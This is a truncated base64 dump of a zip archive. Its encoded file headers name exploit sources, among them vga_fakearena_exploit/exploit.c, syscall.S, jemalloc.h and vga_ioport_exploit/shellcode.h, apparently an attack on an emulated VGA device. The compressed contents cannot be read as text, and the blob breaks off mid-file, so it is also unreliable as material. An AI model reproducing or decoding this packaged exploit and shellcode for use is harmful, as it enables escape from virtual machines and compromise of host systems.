BS5Zw8K9wtiro1eHa4pIEjxFQV/nDcK1fq5rvZXsP2bHarUxEtsXJ7u+26gpUdb5fshmUNbv+T1
oMNVHrx9l3dt9oJ/T44xMNLfCq9IX8BUEsDBBQAAAAIAA9fSU1MOYFO6w4AAMIvAAArABwAY29k
ZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb2l0L2V4cGxvaXQuY1VUCQAD3vm8W975vFt1eAs
AAQToAwAABOgDAAC9Gv1z2kb2Z/FXbN1JKgHG2HEzaXF8xQY7zBnjAdw2l/HsCGkB1ULSSQLju+
Z/v/f2Q9IKTEh6UzwJ6O3u27fv+73V9y6y6begEj9Pr2no4G98PLbqXyvRc4/tJl5Cx5To4WCztoz
M9LUC/UYVMnSH0dFKXzmNluaW3q+t5kA+YFfqQ5jcVyeFHvBTIMdAGzppMuYJY35QQFuuy7ASsDV
zNYBcAzH9v0ScM583wldpoP/YAuYGjoIrXwvmXbXvu7SUe9fXcM4bf70VoOP6HhAh912xzBO3jb
zNaN+j172O6T8aa4nJ9mkiw8ff+3S9uVdj3Zv2xc33WyS3dw2qdMb5bNg0nG+X29E2ze969tuh9
6Nh+baMkzTXAK7357S1FqT1zD/qomfq6sri7x/D8/vmvLzD3L8M2laRhGbxPIiGvh8Ec2MpTScT
hOWmpkI64RZhNLJ0vNTL5DD4VSfkJ+rc9/vfySGYTTXpyf6X6C1imLA6LoI7OVTdOQziI7p7lV
qQjUJHVsZ86oy1Lb8xPy34qxCj2XVO0VPLfUUzoBqqI0BkCGl8MEpa3KZx1Pjj8OI7pgC0R8VCX
TMCZRHDqgn8QJAzjr0k69MCDVowLmCNbESURntjtD5PlIYq+YS+Of6Mr2l2zrSLZIbrewH8F0iN
T3RN9JrAKbdCiajYZQLBCD2THlceB8yJgKSMOlyjjyo4AHn8jvAUIWJYfxcJ/BM4Hfi/QfkuJ3vV
f3ZqgC/JAgQ+cx+BDoFoEjkv2NGAxB4nf+KYrYqjioZZoCtcnS96bQObEqduSZe8F/JPPRdgup8
2pRj/GBJascpwMUB9ZEwapFKxcDzgobrx6qTJjAA2JCpdokPFmomSs4Pw0cuPjmekMwSsARxHyB
AEFJT3CWHCrviHeAznuaez4gpiCVnBNdaqJCGxldAZ+Yst7KzGYrJOCGzIG3p4bnvBY8NNVEtQn
nstUgKzuAC27UC5Zd8On1oSNHCGmDWeNAZ/EzarkuAZEZgpvMoFN3wpsQseUFFpUVevy57SEWMG
kMY38oSDDN0cR2eZxQLP2EplTOMJzsO1ubBp9oDueGHkKIUWgk2DkdkcUJ+Ia+ig7qOwOIYJhBA
H/HXZwP+k+KrvVciLjgz43NJa+yA2HFsP5Nwmu90CDAvnS9Y6jnohWYYJtH5wCTUcI54L+3Ktib
V3E52apoyvKJwNSXj9oemxoW6RWwKw6fmgxIGntRE5+LxhfB1VjDbQ3IMoFpNTjbQzmFehserHT
/ApPz5gXOd7y3mCsO3hG+o1cQw8xNGhGgMlAvnvVglz/BeJwL2FxM3lKfIFCn+winFdlvUCKboS
gTruQ7xBRCcN3EJhdpOgPDtmTdDKaPcN7YfiHmgLFspaK5f+euciB1bWS0xKdNv4zMCPn9ZyYHV
FZR3BbBQJ1pSewoRyEufuRYAgMcN/A0R2MAJOJGP8PBlyKxUunfbRWUTv+AEajBh/tTEDS/v7um
/usOB+VogULBRd2wCpE5yONiMhiFVlNEgMgU08/wZXVYRgxEz8O4BUv5ZRFdSCVcsfgKbBY8sZZ
lsRtfMnLIQm03hqyD/4VLZP/CGy3RiQqTqtC9pr/M7/W1I7wbDMRK5zeTkvgVjA1eUkU5OAjdTk
wRyakamMWM/uErfPEiFkASXTJ4BtmKBkg4xgzAlK2A5GGHmzj1y/p7s0mRw3cKQ0R3smFcjx2+l
c+AnVtz65JFX5N2DOH+nPW5npwdF5eafrxFnAN+xdbbUWZW2tjsdOhzcmZhq1YlI1CxiVvEZ2Ck
BLYLPtVqloiSL6r6MaGQ/+6Ht5v5zYidM4JKy5fULhcRy6s1IVXyjRIsJytyOIaDyHK6QGEFe16
oYpZy1mmV7akSSQKryh5YwZpjpfGUXRySabeASSKIVYB7SeGZpgxrZ5KR/QZJlxOLInsk4lW2J7
mthR6i1JxCU+hd1cjccjHkRRv4Uv38b9sbdOoqu376jH+6vu+ObCxjEp7th79f2uCuf2reD24/9
wf1IjQ7u7m9guE4OjyGHQ+Hqp4XtlTBArQoVR+7A8gU8J8v96ogPZKyFU0Tw+EvmUPWduK9RAoK
4URaZRTQJF1i/B41yttUyspWH53o1gl5OAFqFOaXqI5vk0fj4RxpPICcmxtERcZntkydIQsATQG
XNplPm8JCCCGC9tIEi5s0yhAebH1t5+YyY5VAaqsJFogJnEy64bvwyC1PgneJzzrtMqS2zoFC1v
MJHgRU0cw9Gytkqm+f2S3p3kJehL4SkCv0o2GeAx5/YziNXZ7nq8FxYbgO8JS/LGgmVLkIMAFf0
kdb2tXwnfRGCkCgH/CuElazhYcr19aIJKl0rJW0vcAnMrrk+bnLrkKa9n8qhulUM5RwBUBcFPiL

6CijntAMFA9S8Cy+kc54T8JQbmaut4drpeqiZG/iaG5AcXY282xwNV9zEAN9u2oY/EcwJE3BlkG
GBzGVUbJARaD/x0t3tgc0DbCG+aO+1zVaLGq+XOgkWTG6u324eTtrlt4gCSzeCZktkRw6NEy3SL
pvo3qcDC6Ze6KT+i4KI7TX9P/Em64oI5rzZIfnipgZ6I5H5pKB6ooAl14MxgcQmfv5mmjb94E66
YmfNEb/EjO0C3GUX38y+PfeGucqOkHrkJLISwMq5o/eUnA1l9rjTF6CKLcCeUvSyX+UDyjE3I0X
psTO3A0hCIBlZeLyI3p+9yfYtRdrCt8K9MKPeHycoYDxZb8VbUEyOmEce5AwsIlDHcWVxYe3xmy
z6frMv5psdv9mAb8/F1EP39+7lSxuQvwQuHE4JMReZ6K+BjWI+mXwlW0cfR1TplkKdPHPGBsvFB
GodyGoy5cOdLkadv9mi/lig6NcWb0gqg8hC/tdZhJ4W7KULhYxp2+myjCOjKOt+Xu0dB9dhTNkO
n7/LDv+Ci9NzYoscYurzrlDFq9rGwPoPojzvWMyXM8Z1zQT3EWMRBb+zlsWUdyOmmJmGEQvMgyN
kwRHet60WR0GcL4eiYAAWNLi9Eb4Oq2JYdwapC1Q3koLDYywz0FvCWF3oOC8UfcAtdkZ6HT9McI
bI9cTSZktSTUSrXxaPlSpk0TSaP1PpCE3gDrbZxZPob2AhCF/8VHmrwo4Und9hfSE6PflBXbY6A
gA/17Dz2xAcw4COPt5ecqpgdaG8Ey2OF4o7Xq2NPrSH3U6dcElJ4orH49SoVtLC9gLe0LDjmVMn
QjBVeFhlDyxY6cdx5svgkfpPxcpVwShvhVRe6LaUb4nk9dJqZtMknKaO4ixvKAkMEIgCmwr0Cak
WHlubZf1ML6cVNLKzkFYquKeQnYjmUj7AEeYDAqekRvZnquK7NIZpcjwBt4mhsSoe8fe+02TVr/
U3co6oqzhxwVDsIrQKDY5V6IOr8CXifFetNSK+lEqCBS8917TId1BYkj//RMNnOcTCbhKL47XZ/
b03plft3s39EFTt4NN3D2S4DEQr3V4QOwFiwvQgs0lUKbDKN9YOBPcJNjPO5CnPyRlWaOc5jo1O
Z3MPqrpxDB4UlqZ49Xd5d0/UcoG40H0oDhJZQfOOmyQhjHzzTXnREEo6xDyZP0Phojy1yMgajcY
BdyxFgwD7LdaJ2h15YS4Wq7zhY2qr68VuMAhZxIlyl3LY2dml1A0071Uq+CfvASZ7wcTcaORhh3
/rTadaWyclel+XuqotIUwd2pCXR+/J7f3NDSpeaTy/HxBT9pA5komSkXdNEtOBCqx6055/83SWB
ZhkyzsjDLIbHomUe66S+kPy9hQkKgUkbx7IYaV8A9Aodl4Pt8TWbMc6/+naTgP+0cj2QY1ZqWcm
r0KyNeoWbYNsfvCiH9FuF83LD/e3/6SQAwxPLtqjrrm5HvIALluuxTXya5/2McZc37dB30RziGi
kXS9ZIlwXybdUvbwiJWWj6niJPfFRePhaBzisZeqGTwGKBxvmyvUKdikr40aw+TJIXb1qYu3VRt
Vyk4M3J0Jf8pjyt3dXuefLtz/7gr+7Ag3Dm7EQYzv2F9Tx9INEeJBdzdmZSG7zUCkbWJny1Aohd
WsX17VTO7+qT17s5qrummgOcje9jHg0JsrJCL3jAioE/ULfspQZWMUcQGEmeFUHPoGtIRXyk5C4
IeoQDAjVR/7ftIfX3fI+h+eY7E28lF+34zfufErOzgorL3q3vVswgw+9q3Gh6naWPlc1ybRk6cy
hzrI5MUALmL/ADQGTuyAUnHRYSC43NfAqptdgDUE8ORUXQFq6gjfUuaRqxATyahlqC0k9PuHhoJ
jL5KtmO1dV9FssfueZXaUDwTHLbEpdWoW8WIlDH5VRnR7JLt6iSozcSW/coyaZXW+5+Xsx2uR3g
tZrjUPbApFGTTd4yeVsHm+34xGvqul+J08SC1qrMkirnGGm8hUTGUPyxaCKjE6XgbM1BjT4uih8
YjGdLNM0hJPbgetDfMv9Lw8OOFEJdpmI9hwogg35D0ZDbnxzBg6kYL8oPT2RLR5Fz2QtU1e00g2
Cnujuh2a+gYZTHzkeZYulT6cgJLw+yI785GFnR9Q5eM8CYiKMZwabJwG+xhBfIXVtqOUF/r+4R2
sHHsh4j/mVTI6nuT4tffDmBrtpOJfTO2FgOHG8jFKQJ1T5UkVcBqGfkd3bncjtYJsf9b/CBZHc7
gTvmrmYh6M7whvfvDMD9X+DXHlr0AiYgL4rTnbsymO73HUXM7gf22Pe1LdniZq38W6ofopHxiLR
Vw6dxzp68x+EO+93+/SK9vr9+zEa4tbtMMsrfJBp09Kn5B/6oetNn9FBaE4A30Ljb4Tx+6yYrbx
wmWz4sJIF+16SNvz8VbKyPzB1A9mBQb1XVsIAPkNd1Gy47/wKh98+ciVAWOm1uv3SsW1olwlOFX
i/OVHzAsjEInBhZhtkedsd11FtV5+OH/BNka2XgrzU2rjymwOOxLTT0DM5gpMHq5RB38WQ7uFL1
fo1ZN4dRMN4lfz8yj0oEFHGqK4H9RcUiilTRrjyXVNuZ5L7yu/s5ZwKvkl0+77oiUorkmjDvL7k
XN7z/sI2Y9QNZRx7sxnj/Oz3ewPCX1/BtEbAVbPzQAUCzKhLzbTmuiNfma5jecSTcfAgpqXW8Hf
C9Cbd/wBQSwMEFAAAAAgApUE0TXIw3Im8DQAAqjEAACsAHABjb2RlL3NldHVwQS92Z2FfZmFrZW
FyZW5hX2V4cGxvaXQvc3lzY2FsbC5oVVQJAAMGuaNbBrmjW3V4CwABBOgDAAAE6AMAAIVaS4/kt
hE+a39FA/HJgHclinr03pw4AQI48WF9SHIZaCSqW269rEfvTn59qooUJRY1zmIHM6iPIlnFYtXH
Ij99/+Hy/eXL27yo7lIWbXvp1+5VTfNHkCP00y+Xf/7y6+WvP/391x9+uCz3Zr7UTasu8LtYl6E
rlgY/e7vcVK+mYlEVfnn57m+TUn/+8tPny6Ra1d8+RdHH8NP8Nm8/+NHH+yUO4zzJLyKM0h/CHP
5fRPQ5un5Osv9cXqtJfVXT2+U77LGcFPZ+qaehu9je56V4bRX0Tv0+1NRvnc8fuwK0mvQQ0hki/
Cziz1F0GAJG+PThw58qVTe9Cr78+8uL6SYIHan61ixB5IjqYXoEwhHBVKsgdkRfp2ZRgXRkw6j6
IHFEZTvMKkjdT4tmkUH2IYB/n76/5Gj7oa20RXDex8Zt0z+CqyNaexJG4dZDFFEXr/PQqkVd1Dd
VPnk/5b1qpiBy9aqN1FWte/RDFUSSfd+hkGl3H772QeSq9wpqwOysfhEpWMMKv86VBL9a6hmWmT
Tdmlw3G7SzUg8+d/hkbKpAuEvXDWu/BCJitjFiV9FZLSv2EPN+SSq5VJHY1XVcpqJUgUiZZ5TPb
r4FImPj9RWJc681+nsg3BUtylKNSxCHntoKdkDRqSCOODQP5UNDwutrnoM4ZitVt8UNxJI7gJEn
bLP0ZRC7qj4a2D2xXdbY+u22mHzuuGbxdWsvw32NTz6o1jGQbCNql4nCl7EZYa8Jb5luMIJ0FR2
nAeJZIF09H3rxZGJnk9rZN7eiXJqhP1GB+rcay/zwDYxTQkA689V2uDV9IK/cA7U8CflyLUESbW
Mk4jgGeFHT3/gQOON2ASOWjyBxtW+GcmmDRDKvex0GGCRh0ufwUEGSsoXvKLgkGWtcVFruOjSFG
uiEBSg0TJCGzAMnnEVqVU2tqjULB2m8IWBNzAFNXw9HXB7wsbipufmv4lbqyIdTV+knBfc0tT1l
TuR8op7HgXIXpqDvLccrdslWe14eQWYDdBZtE+66YuQdPIvq2UCWyFwH7yCWFWOQseAMjrco8Jn
MXeRu68S6eJa6k78X/W0dD9plTPm26RpvX3ZNXw4T9Jt7m2Ma1nEOMs/PDZD70ew2jUEe8fYjbr
PcC9jN0nRqCvLYJkq77JhBvWX4WoxDH+QJH3Xrxy56nh3c5z7MC4bRg13yfZ+7OOu4Iq6Cvhfkr
hEgmIng6upflz1szStXs8W1vLprXJPrXhPPUFMzgAe+BVe2aSEVKOjF3bPl0PfUeb4pdrVpViec
s6C9DRGFO70Io90g/XF/RKHdw5PhHBaJD4FsgkQ7eQH2temBUYSSq4nqDJAOo9C1QNsA/wO6Eab
7KMyFcalnZxrHmP1UpYNdD9hrC6Me0Sg8oDCrLdhbPDri6zwy00THSE7B2kHjo+GAKjigPNqbgw
lTGTPbyUqiKYa6KmApGUEDcFpnCJuAZByxxo84dYEAA/zRdWoKiCj2NvVheOGRTmKNjIzVhmECG
9tUFcnRSHRQ4JseVCGyFjFeRsCNAJ7JiDRFIt+HsX4AdunLYjkGgyi2flAfYWfq6DvAol0jdI+6
qQcQ8y3fVwuKXfXn+7pUZBdG0fTmHgvi6QkbQbN3Rkk7LXX1XmlrgHjXO746niQ/ivf3alH9hh3
AqWAPCzI6pmHDVI+mk4IF2sbZITJmcZbBxyw/2eRk4eTw9QlsCR7y1tEnUeDq6B7SNdPv6wBbFQ
J1JHdDSesgBB+HScLDJDdKzsfq284ePyNGzno4DD1LECd7n+mhT1hL1S9T44a1JHPOVMifareBe
+iq9xZORMXD2B0OcF6qJqmlapHmasczXDV0RdPzFdfMbZ/Xu+2k0249sxpYrJhKnAcjrpSkQMx3
PDA+cHDGxCB6kjgL2XbTrbNdx+w49/QyMi4YZdLFz8kgmK55hX7dOffLuG+hzAtVFKh8YqQDmM+
MdMTLWQCBFQahG7VrI3Vt0mopIyhjsdyBM9QAsHPYAfHOYHrnAeKlcYt4jGz3aUD3ZH7NHAOfUe
WXfR/ttCbSvMZ+aGsIBhdh6OAnUV5oimObvBvq9QQgPoiQsXXKASJkbH3tjdw1z9pXCoMuAK51a
hOnRejlbKLJInTj1Ti0OBd3fY0aGc5WdTRblrdBDD2CmPtcN4wgFefdwV7SnUm+xXRnibfzgOAJ
lplBPJVPEGd8QxbYR34+NMB66Cv/qoKvYm9z04RYQi5xKTZqBKg4QWeLxuffTrg4Ma8u4AnjRVc
0AU3O0G3BeVVFo/u42Rm8Tzp/Bx6eagKfhRauhfqiH+ZWKVhWyQ4ktVWqxJoZnJEEr8DU1ioK0n

NH6rE6zKGbQ5t3rFeOK/3dVAIauapijLR6SldPOIXeFcTbQLDyyaSrtYk7byzEgtuY3ZG4E25mr
AbSZmLVk1YzU8FSdNEMugIsWAkFAV0HFqyM0gKCxxXIUyLxOHYF0Q+8iJ33W02ABTvY92pBVba5
scTSbvGCJRXzlS6CiIxZmuK/YEf6vjZi5kA6Wwh2nB/1gUCw1DKaE4G4Wp4ori5Zqe/nZKS+U/1
cXFkIuOvxryyvD1WvvmHNlFeFK2ofhxGX1+YD4QF4EI1Z6H60VTtg2Z+FbpBjUCck4YjpKeVyM3
LG5Waqud/PNC/oDTEL7TdNW+OIx3MMTCshHo0A5EaIsLVbc/zcqD/QfhsnPOZP3o9nAujB3xjm5
AuYvzfKoi9VC1DqQRCshgmQvZzsXBOkl23THZJ0HF29JpaEbW2Em+v3jcj1emtUC9MW0f6pcIyy
3CEsbxaxbWKvzdfioVbPbMQHkKjEPFtqSqAh12YvFCK/4qwYRSzvqqIKUDEVHcDZCXzb4fz8a/p
jbSHQxzyPbj0cmvCkSk2M1VhmtZ+/bPWjl674Bs3E/23WgFvxozA1myitvTSYmJ4FGIsl3VWX9O
PYHpziOGWnj76iu022NLjv3sBMLNX+VjQ4CguK/VjPlnTGLLke7gGCmKXXvSoE0O5k0j1JvXv7s
Jf/4fN4/1zyz8/P6wBgYqiwUgodJBxEOVbVAUuZDxZlS5ZH0wGcncDzDufvfY1qX9/7FkCWyDWo
SZLpmyV1twX2IE5w+AH3AbZh+oj/sA324roVBOpiWSYkmzFL9wY6aM+y/tZgtx7L/VsDV03XhBT
VYHXKoRuJMcaJlwK2WO+f27dYn7q2e/y+qhW6Sl2TPdQTqAiI4/cVhc6y6H01ERZ/qCS24KuwMb
CYkR213V4yOlPUc7zvQk5n9JVvnHFf7IrSRJuhDOJcnsDzDvNYvH2NCuR8k1iQljDnm2Trmr49m
9buQ4xAPVT/DGJ2NG/tNS07mq/gBjcgTbF3r6BDHwDsQIpjb3a8ehff+mYeEBYwiLCB2DVDbeWu
/hvDA4AxGzhgmicRkvE2gsZhXgCJfITimGTUjZBlejNg7INNT4j0EeKakjM4RMzzCslZHGJgIsh
FK04/89EKDkDT8Abgu56IF8ohD4sbqseNeGDc/MXA55vx0OB8Ox4GON/tZr+aNmebxdz2yshLJz
qHAZJyxFBH6d80lAOkdqDF0r882CHm1l+LccdiDxvqGuR86ltK0pp5nGtLSgY+S4eOacRZRrQpx
bTJuR20jzLahfTRVA0ko1sI0eMkybgW0VLVgqKMXSFAbzQk41NIbF5giYvyDth5ykKOjNFKxucZ
S+MYUWTMnwAcWmjtGUvS29SyESlPFDJMSUpfJ+TXAHinM30KAzuwtx7FWtEoiS9FF5VeYa3AXCo
lf8Gzyb2L720A7+LbAImXlQl4KapqAtTzdgcV/qyRi0hOZNZu+QZBDADpWaxXX0HubVLNASQjLY
/udxMMGVlBAGcHiwtY7mG0opMqVYMxgZEU22CmZWVEBdF+WJoaYiVnKgBtEZixleJ1mBYB4vhkQ
ywvdK8nU/+Iqq/T5ek1An6NpR3JbxPKZXwZlWoppGT8uEOlql5NTWmfesmMH3b8Ri/N8ISG/Lhz
aLi9J5OMGI16lqz6M5pXiIwtYeUchO5yUlUcpO5CbnVuAFgNeUdyPzJhnIGV4FcW9y2v8juL+55
W2bVFOa6weCCWJ2J6BgJqM25mwJsB03fAoq4x/4OPMX62d35owqpOmogWODNmGCrTIeA98MAKHQ
GsirrlTUbSiD5Re3YTrmt6hLhWQQuS+OQemOTMD+gGmoCMAb1RwdUaF4/Ersrb6y+AEkbb9HU6A
cwX9EMyQly1tSMQwJ7uDXPzjeYwIsjI6TxXlrkmjLdRhsOSf8JIGwEzAf5hHybfDfh6jdE1Iqj0
TDPxqJq5T0kYSTM3Iwkvvt1Na1bptRdqSWSP9ol59bGVlspixEDuX0AhMDW3+zJrlfmbXIAVVfM
TxsYQgS/Ae0FnxsfGigrpCXv1MVbEKJKIVXkr8yQ3YfdKo3nQlAjvopBeP5ZtAae7hFM3hrLni2
BC4m+TfivJCNwOr63Cr9NzmG4jEc98HHIvfQ5o7qPaTbYG1xOfrcEpBwqWCaNxG64f5yWMyyEfS
kEqvHUyC6yvUBN+GQUN6KXn3kC+14BcJPZdhJ6j7d/7nmIa6O9dm+HDLdy/jAmaB2eEuFYyx1dE
pPf8VY2LBLlrGXzxK0DKGAAkbH3RmvjPfkv99JXlTboCSuTZLWsP3sDYoJHTRFmRYe0KJ6kkjBh
Sg9lp4BrhHz/+C3795ceffw4SoIj/A1BLAwQUAAAACAClQTRNLcauJZoEAABSDQAALAAcAGNvZG
Uvc2V0dXBBL3ZnYV9mYWtlYXJlbmFfZXhwbG9pdC9qZW1hbGxvYy5oVVQJAAMGuaNbBrmjW3V4C
wABBOgDAAAE6AMAAL1XW2/bNhR+tn7FAfYwO63suMmGIBcEauykRm2niO0Ba1YItETZXCTSEKkk
7i6/fYekJEuJ1iV7KAHb1NHH71x0SH12pCKKBZAxrn4+9BUkZOMvGZFwBv2DE8fp7cGQBGugMU0
oVyAiUGsKwTrjdxoMgUhTKjeChxKUAMEpbMiKwgNTa8Z34C7s9Ryp0ixQQFLKiW/MvnWopC/hD6
fV23NasAc3GQcShkgsoS1SkOwr7QDhIdyTlIlMQhSTldREIJVIaYi+VxSdpV2AOfpESsMUk63IF
MRC3EmI2R2FNpEySxhfwcE7F2Egt1LRpHOs8WYNwHk+ahOuB+AnzJKYlOhzOIYFJ3EsAqJoeFwL
PsLgI5ZK1YuJVKYy8i1kXFJl7mHZaYqLc79PhoF3y3uzBL1YflNiEUXIs7s/JumKVu4HIuNqF4I
xVp2rlLBYF6Lih2M2S8YZllpDpHZpyg8BZoCxvx9NR9OBP5r+4o1HAwOKtd8KyDKFyBSyVG3PzW
WGlxn/SlNBQ2tJNIAGIkmYUoUxRqPhs5cEL8vSnpc1vxRoe9Ch6w6gjyTZxOaZYypKV9RWXjefW
qcUv7cbKnXzpph+t+TZIH1aL6exy9yuc2osS5nrSZ69WP5OAyVB1xbdSqo3Q71WhuhRJy34jwoC
DN2YXDTtm9kbnPXN7HawmIy9L8argiKsW9N5hdU8yErTVpoQ2kFMCbc9bXpD5qM2eaMH4Ad5XVJ
iH/PRPHEX+PVS3kXO2xSiaY4XhzhwXx6iGa/lzfF2k5WLN/moTXYngeu63gux7iuwJW+Otzv7xR
m5Y+9/VcrNR23ynLcaFLSl2XzhW7spTs9g7N1cDf3JaHox9maz/3rAZc7fOWwucF/VQj97bejfr
+I9p6VD9FULh35bnjg/hDRinLYuPiymH/2J98n3xuPrC28+HLTabYvu7D/u9xedBqxJtFUDvmsE
zubIiLPZxyr4ALEN4MHw4noyGc2fxnDYSL2Yfh7eXD+BHjVCB6Ob+a+1cPv7jcDLsXc1exZuP2i
ONz+fZx9Gl/PWTyWgfmzX75A15egrNHr9BVKxt9NCUyc2ikkm72R++Xo4aH/Ho8/
D5yiojvqLGV/4n72r4r+tN6mb85ujGbv/9PAqNgT+h6WnVzLue63Scv1CE6rc3uoVvy8dGs7Ia1
tP3ctW6piTUOrFZj1ZlqAcbYRSafplrMWGAOCMohB9QZOykMJOFEK0IXy5CasXQfI2AiNE4BNTW
BB7WAgUL2jKJS5ZbyyL9VBm1IkBmm41IFSyFWhsGdi/Nu7NtdTDKbuouiV4d0mW2WqEY6uZHRa9
HHxWKdV/712eG/j1xClWptf4RSn1tve3vH37BEhUZT1DRo0oygrDIxCZokr6jdCO1bgzuNCzCYH
tG//SMULTa2xBZxVn+m8BoUkatYBdW7+lTlwe0UkP7YFAeIRCPZyu8qNH2sKTWLV7lxUVu4w+Li
IxSMoF6jdxrJwWTTsNGg5pNC01RZKM3NP61oN1VFw5hwt53iuI1d1GrmN72v5wANtRgy0nCAkx6
a8hC00/YrP8AUEsDBBQAAAAIAKVBNE2OTzPJYgAAAJkAAAAqABwAY29kZS9zZXR1cEEvdmdhX2Z
ha2VhcmVuYV9leHBsb2l0L01ha2VmaWxlVVQJAAMGuaNbm6m9W3V4CwABBOgDAAAE6AMAAI3MOw
6AIBBF0RpWMRsYeklchYU1DhM0GT4BTHT3khh7m9fck8dXkXx0C+1u5ETMAm1nEcqeDUGM51h+k
SGtAhHgOiBgCH4DbN3PIZ3TBJg/+O8MUErfKzuvSdglq1WNX9YPUEsDBBQAAAAIAKVBNE0ONcdJ
CgIAAK4GAAArABwAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb2l0L2FkZHJlc3MuaFV
UCQADBrmjWwa5o1t1eAsAAQToAwAABOgDAACVlUuTlDAUhdfyK7Keweo8eIq60b06ZZULq4sKJN
hoMyDQIz/fm9A8EmF6zKIr3Tnny7k3gb6Uj33gpT1q8jKV1eWcFvx8znj+Kz3xR3GWLXqH8ICxR
3Ivw4lzmQxVVdbpCb5dBZEfhT4IFkVTN2nbNROAhYH0EqTGq8NBrSK1mowz4s0zf5plarWVvYXM
ZiSNGA5HpB4TdsfYlSnQDQAvqMo05ylfnIKwNYRspADF/xcnSjtfkJhYUd5AdCaC8ghbiO4Wgg+
AGAwMKxhedYoPM2LYhw11m0qAWedGMI3iEQYKBApXfexzqvpJh7I4OM5oNnJAoUK56PefuhXoO6
hegyY6Pg+tZLUFpkTEcgEbTBYdXaP+7bT5oOEWmMWE8lXi3E4M9OTfPbHeM1d7vqBQK4kY1rcVu
k+85T5onADceF1zePoVfqNLcO8mRBHkFmIj7XP3lAsxQVWnlneMLPyxO6BA4goVJfDkXL04uSD/
gPfxPyvV9AXrScLNBxQU18xN36rcw9FxDncOrI4WSkmE3t4Tit+/gR/VvjC+fPv08BF9/vowlRp
AqW1s2HJt89a2NnZbgg1VoVWhoSLY3dpg7aNM+RjZC9U1R3srGmqLv2+5x4MqgxDDpuvw8O2E2E
jIsPaN9evrpH3O3WE5n44/ybSN5/NRzV7/c/yo+7Ss8/58VQS+5wtQ/AVQSwMEFAAAAAgApUE0T

eavwSfSAAAAiwEAACsAHABjb2RlL3NldHVwQS92Z2FfZmFrZWFyZW5hX2V4cGxvaXQvc3lzY2Fs
bC5TVVQJAAMGuaNbBrmjW3V4CwABBOgDAAAE6AMAAG2QwQ6CMAyGz+wpejFRA0MPGvRgPPgE+gA
GtyqLwHQrBt7ebRCixsuafv/fdi23KEjpGjhhS4zfSn0pwXZW5GV5vja1+MfOWEvGqXvgF45h74
Pvxz75lkWVfj1hYqSK3Zu3UZTO4dRboG6qCxpIduAUDjBPR78NfqmC3xbqSpCb2xISH1bfXtnGo
WIEIgDZjiDz+XIx5hufZ0OaTV3xYxY77Ie5/mtQFtxpqHBrUi7uw7xhtSh86qB7vbOEFXg+uAxS
7zgiNcZ10UFF0+u/59yyN1BLAwQKAAAAAAA9X0lNAAAAAAAAAAAAAAAAHwAcAGNvZGUvc2V0dXB
BL3ZnYV9pb3BvcnRfZXhwbG9pdC9VVAkAAzb6vFtdBW1edXgLAAEE6AMAAAToAwAAUEsDBBQAAA
AIANimPk2PE4QnuwEAANkDAAAqABwAY29kZS9zZXR1cEEvdmdhX2lvcG9ydF9leHBsb2l0L3NoZ
WxsY29kZS5oVVQJAAOImrFbiJqxW3V4CwABBOgDAAAE6AMAAHVTYWvbMBT8XP+KRw3DNm7SlhDK
shW2tmPQwgb96BWhyM+NmSwZSR5zS//79GwnVbNUn+R3x93pJMe1ErIrET5x0/J5rdDNNpdRFJd
Y+Q9wfYu6AsbGDWM75P77zd3d1Y/rm0txBlNP4bZhLInp85ihKj8epyv4FcG08K9Do0BsuAHiQB
wD0YqH1f+i7OeXq9uk5b3UvMxhtHh+FbO2fkLmwG5QSqFLZDSAz5D80XUJWRo6wMmbcRiqwUa0f
fJha5WeXBJldMz35IfjvOzC6qqy6HSVWJdDQw2su1q6WrE9JIqkVo9geyu4lKzqlEiGieqaNZoc
ZrNZuorCgkLutqRonkGlDXwziF/vr2GjrYNsHllnOuGr0OI3L0vDfIC1LeE5Oupq5S58S7vWPCR
RrQ4jFW9q2U/g2fIVJbDVxnlo8gI/Ia8Boo2HhtzBIugJjS4ufPYXH3+bkzplQquqfqSQ0/iA4v
s5Arnp4kiJEhzB3hrsiuXiIYi4IznXT9ChcLTG7YHG3ujTEynOTxd01PeZwZ0WZ6fng+/4XyUhl
hI5mybjWb0iCIPc+Ye49Uv2CshyIOflgjn/mP4BUEsDBBQAAAAIANimPk0WxbStRgcAAG0aAAAr
ABwAY29kZS9zZXR1cEEvdmdhX2lvcG9ydF9leHBsb2l0L3N0cnVjdHVyZXMuaFVUCQADiJqxW4i
asVt1eAsAAQToAwAABOgDAAC1WW1v2zYQ/mz/CgIFBtvo1tpNsw0pBsSLmwWtuyFJO2xtQdASJX
ORKIWiHCdF99t3R71Rr04/TB9i6e7h8fjc8fiSJ0I6Qepy8iq5T57dpjzlP2x/GT8pxQ+B2KBk/
MTlnpB8tF6ORqPJ/PniiMwI/rx/Oy2V5011lB+bDmq7Xp3/Q8/en12f06uLv1WiCuPVyOh4/m5F/
eMiCIHJIolXq6FTxhMyelQ6QKNY08KmzTeXNaLSYlwojScQDJ+gDefWqBp22cTRkyQ2Cq5bfk/m
06urX396/e0NPz84uF8vTq9WETck3PZ/GTclksouES2bTySQVUsdaUT1Fu9+Rf+t+TSs/RpYfv7
9+fbW6hhYj83wajyYT00Z3mGxb1PcxB6M5t0Q7zNlyuhGSJprphCZtkT4ZamV/9CJLVAdCODdcI
SJ7AUQJSWUifMldAsMiyYOQrlH3+/5lPEIKjo+oJlJxSOdEJyfjr92NAI4hGbVHTLR5Ocn02HsQ
3dE7prnKZTXXIMU8EQTUFbsuttTT23VyVxX/GdkwEddcKJr6U3b5Y0Ex+UhdJlHUOrGydi7+UGVg
MU5PZreJU8r0+6VPGihcj+UoCIYv+S3JjFXmUOU4abu41L4gqQkh8h2bvuSKPHcFOKSiB6pMW9z
AG+Ek+zj9nA4NSkKU/skiUt/nBMXUgHxkIaBJ5GqwlLkbeJIlX0BzrreLMNfy5ViAdz/66E67eW
t9bLvxtzsuILqMoIFw6VLE7Gt20xFgbu+RQsXDOlZoHyCtwJiQP2a/F5k9I+cMm9Swn8DPg0nY6
khLST2hLlnDpCuk3hhummu/BZqj3DQ3YQDbwxx7wHXWUYzlk8mvWI6M6jG23QNJkEGUFi3kUcw+
yaAotIplgRF8rzpdXZyREMNkxdU88FYWYb+meoMU7ToqSnSYaVOWKQDYsgbyIJDFVu7I2GnelSF
EYkO2Yucjbx/nPi8//47gb6bsLQxaLegbvQkfvrRmKZvApMhSf0g0oQCEPaSBCYc3bogmovID5S
aXJ1gSSt2vLt+BqTeFsmcLfGVILHKkOlWQhL8NqLc9epIjecvLh/BQGvRMON+Ms6jh6OZmh+14K
